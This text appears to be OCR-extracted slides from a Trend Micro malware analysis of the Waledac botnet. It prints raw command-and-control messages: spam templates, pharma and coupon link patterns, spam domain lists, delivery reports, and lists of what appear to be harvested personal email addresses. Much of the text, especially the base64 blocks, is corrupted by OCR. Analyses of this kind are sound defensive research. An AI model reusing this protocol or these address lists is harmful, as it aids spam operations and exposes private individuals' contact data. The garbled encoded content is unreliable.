XkQIXIY1XiVeJQpPNZXNzYWdILUIEOIA8JV5aXiUuJV5SMS05XiUwJV5SMCO5XiUwJVS5SMCO5XiUwdJ
V5SMCO05XiVAJV5DMSVeRmRvbWFpbnNeJV4IPgpEYXRIOiIAIXkReJQpGcm9tOiAiJV5GbXIluYW1lc
141ICVeRnNnN1cm5hbWVzXiUilDwIXkZuYW1Ic14IQCVeVjFeJT4KVXNIci1BZ2VudDogVGh1bmRIcmJ
pcmQgJV5GdHJ1bnZIcl4ICk1JTUUtVmVyc2ivbjogMS4wCIRvOIAIXjBeJQp TdWJqZWNOOIiAIXkZwa
GFybWFeJQpDb250ZW50LVR5cGUG6IHRIeHQvcGxhaW47IGNoYXJzZXQ9SVNPLTg4NTktMTsgZm9
ybWFOPWZsb3dIZApDb250ZW50LVRyYW5zZmVyLUVuY29kaW5n0iA3YmIOCgolXkoIXkZwaGFyb
WFeJSBodHRwOIi8vJV5QJV5SMi02XiU6cXdIcnR5dWIvcGFzZGZnaGprbHp4Y3Zibm1IdWIvYV4ILiV
eRnBoYXJtYV9saW5src14IL14ICg==</body><a>njoffe@corp.phoenixintl.com</a><a>anxietyred@g
mail.com</a><a>kimmercj@wfu.edu</a><a>pllgamet@nebnet.net</a><a>mferguson@np.co.tt</a
><a>romeolafrance@yvideotron.ca</a><a>reved1@aol.com</a><a>yosta@nbcuni.com</a><a>car
michaeldd@osawa-jp.com</a>
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Waledac Commands

« Command Type: 03 (Reply)

<body>JV5IMyVeRnZhbGVfY29tcGFueV4IXiUIXkg0JV5GbXIuYW1Ic14IXiVSZWNIaXZIZDogZnJvbSAIXkMwJV5Q
JV5SMy02XiU6cXdlcnR5dWIvcGFzZGZnaGprbHp4Y3Zibm1eJV4lIChbJV5DNiVeSV4ILiVeSV4ILiVeSV4ILiVe
SV4IXiVdKSBieSAIXkFeJSB3aXRolE1pY3Jvc29mdCBTTVRQU1ZDKCVeRnN2Y3ZIcl4IKTsgJVSEXiUKTWVz
¢c2FnZS1JRDogPCVeTyVeVjZeJTolXlIzLTUwXiVeJSVeVjBeJT4KRnJvbTogliVeVjReJSIgPCVeRm5hbWVzXi
VAJVS5GZGI9tYWIluc14IPgpUbzogPCVeMF4IPgp TdWJqZWNOOIAIXkZjdXBvX3N0cmluZ14ICkRhdGU6ICVeR
COIXlIzMC02MDBeJV4ICk1JTUUtVmVyc2ivbjogMS4wCkNvbnRIbnQtVHIwZTogdGV4dCI9wbGFpbjsKCWZv
cm1hdD1mbG93ZWQ7CgljaGFyc2VOPSIIXkZjaGFyc2V0XiUiOwoJcmVwbHktdHIwZT1veminaW5hbApDb25
0ZW50LVRyYW5zZmVyLUVuY29kaW5n0OiA3YmIOCIgtUHJpb3JpdHk6IDMKWC1NU01haWwtUHJpb3JpdHk
6/E5vem1hbApYLU1haWxicjogTWIjcm9zb2Z0IE91dGxvb2sgRXhwecmVzcyA2LjAwLiVeQzcIXkZvdXR2ZXlu
NI4IXiUKWC1NaW1ITOxFOiBQcm9kdWNIZCBCeSBNaWNyb3NvZnQg TWItZUIMRS BWNi4wMC4IX1Y3XiUK
CiVeSiVeRmN1cG9fc3RyaW5nXiUgaHROcDovLyVeUCVeU;jltNI410nF3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2
Ymb5tZX11aW9hXiluJV5GY3Vwb19saW5rXiUvJV5GY3Vwb19ImaWxIXiUucGhwXiUK</body><a>mbanasik@i
pssa.pl</a><a>fire@ix.netcom.com</a><a>karina.anaya-
ortiz@dhs.gov</a><a>mdonez2005@yahoo.com</a><a>aperegudov@technoserv.ru</a><a>sessa-
virginia@tiscali.it</a>

<words><w name="trunver" time="1234183272"/><w name="pharma" time="1236690754"/><w
name="svecver" time="1233919248"/><w name="outver" time="1233919245"/><w name="domains"
time="1236988929"/><w name="names" time="1236989403"/><w name="charset"
time="1233919243"/><w name="pharma_links" time="1236989413"/><w name="mynames"
time="1233919245"/><w name="outver.6" time="1233919246"/><w name="cupo_string"
time="1235331549"/><w name="surnames" time="1233919247"/><w name="outver.5"
time="1233919246"/><w name="cupo_file" time="1235336882"/><w name="sendmailver"
time="1233919247"/><w name="cupo_link" time="1235404378"/></words></Im>
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Waledac Commands

« Command Type: 03 (continued)

%"*J%"Fpharma”"% http://%"P%"R2-
6% :qwertyuiopasdfghjkizxcvbnmeuioa®%.%"Fphar
ma_links*%/"%

%"J% Fcupo_string™% http://%"*P%"R2-
6% :qwertyuiopasdfghjkizxcvbnmeyuioa™%.%"Fcup
o_link*%/%"Fcupo_file*%.php"%
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Waledac Commands

« Command Type: 04

POST

<Im><t>words</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p
n="word_name">cupo_string</p></props></Im>

Reply

<Im><v>33</v><t>words</t><props></props><word name="cupo_string"><![CDATA[20-95 % off! Best shops!
A good way to cut down on costs

A good way to save money is to use these coupons

A special discount voucher listing

All discounts in your city

All my friends have already used it

All sales on one site

Amazing couponé&sales to help in crisis

[I></word></Im>

3121117
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Waledac Commands

« Command Type: 04

POST

<Im><t>words</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p
n="word_name">cupo_link</p></props></Im>

Reply
<Im><v>34</v><t>words</t><props></props><word name="cupo_link"><![CDATA[thecoupondiscount.com
greatcouponclub.com
codecouponsite.com
yourcountycoupon.com
bestcouponfree.com
smartsalesgroup.com
greatsalestax.com
supersalesonline.com
greatsalesgroup.com
greatsalesavailable.com
II></word></Im>

3121117
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Waledac Commands

« Command Type: 04

POST

<Im><t>words</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p
n="word _name">cupo_file</p></props></Im>

Reply
<Im><v>33</v><t>words</t><props></props><word name="cupo_file"><![CDATA[coupons
coupon

list
discounts
saleslist
salelist
sale
couponlist
couponslist
disc

sales

print

save

run
stopcrisis
nocrisis
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Waledac Commands

« Command Type: 05

POST

<Im><t>taskrep</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p
n="b64">true</p></props><reports><rep id="4"
rept="YnJlbmRhLmxhcnNIbkBjYW5hZGFwb3NOLmMNh">ERR</rep><rep id="4"
rcpt="bWFnaWNhbGtpcmFAeWFob28uY28uanA=">ERR</rep><rep id="4"
rept="c3VIZEBtY3BpbnMuY29t">ERR</rep><rep id="4"
rept="YnJ1Y2UuZS5yaWVkZUB1bmIsZXZIci5jb20=">0K</rep><rep id="4"
rcpt="ZC5wcnp5Ynl0bmlihaOByemVjenBvc3BvbGI0OY S5wbA==">0OK</rep><rep id="4"
rept="Ym9iX211ZWxsbmVyQGxhZ2FuLmNvbQ==">0OK</rep><rep id="4"
rept="bWIzcy1tYXJqYW5udWhAaHI2ZXMubmw=">0OK</rep><rep id="4"
rept="YW5uYW15ZXJzQHZwc2luazEyLmxhLnVZz">OK</rep><rep id="4"
rept="dG9gb0B0b21IbmRIdmljZXMuY29tLmhr">0K</rep><rep id="4"
rept="bHNOdWI2ZUBnbWFpbC5jb20=">0K</rep><rep id="4"

rcpt="aGFuc2hzaWVoQGVtcGlhdGVjaC5jb20=">0K</rep><rep id="4" <rep id="4"
rept="dmVua2FOLmphbGFnYW1AZ21haWwuY29t">ERR</rep></reports></Im>

Reply

Classification 3/21/17 40 Copyright 2007 - Trend Micro Inc.




Waledac Commands

« Command Type: 07

POST

<Im><t>emails</t><v>33</v><i>f354¢c452d248956636628b3210726273</i><r>0</r><props></props><emails><![CDA

TA[edward.beili@actelis.com
kzm@cisco.com
kzm@cisco.com
kevin.gibbons@mcdata.com
charles_monia@yahoo.com
joshtseng@yahoo.com
travos@nortel.com
dthaler@microsoft.com
j.schoenwaelder@iu-bremen.de
JI></emails></Im>

Reply

3121117 41

Classification

Copyright 2007 - Trend Micro Inc.
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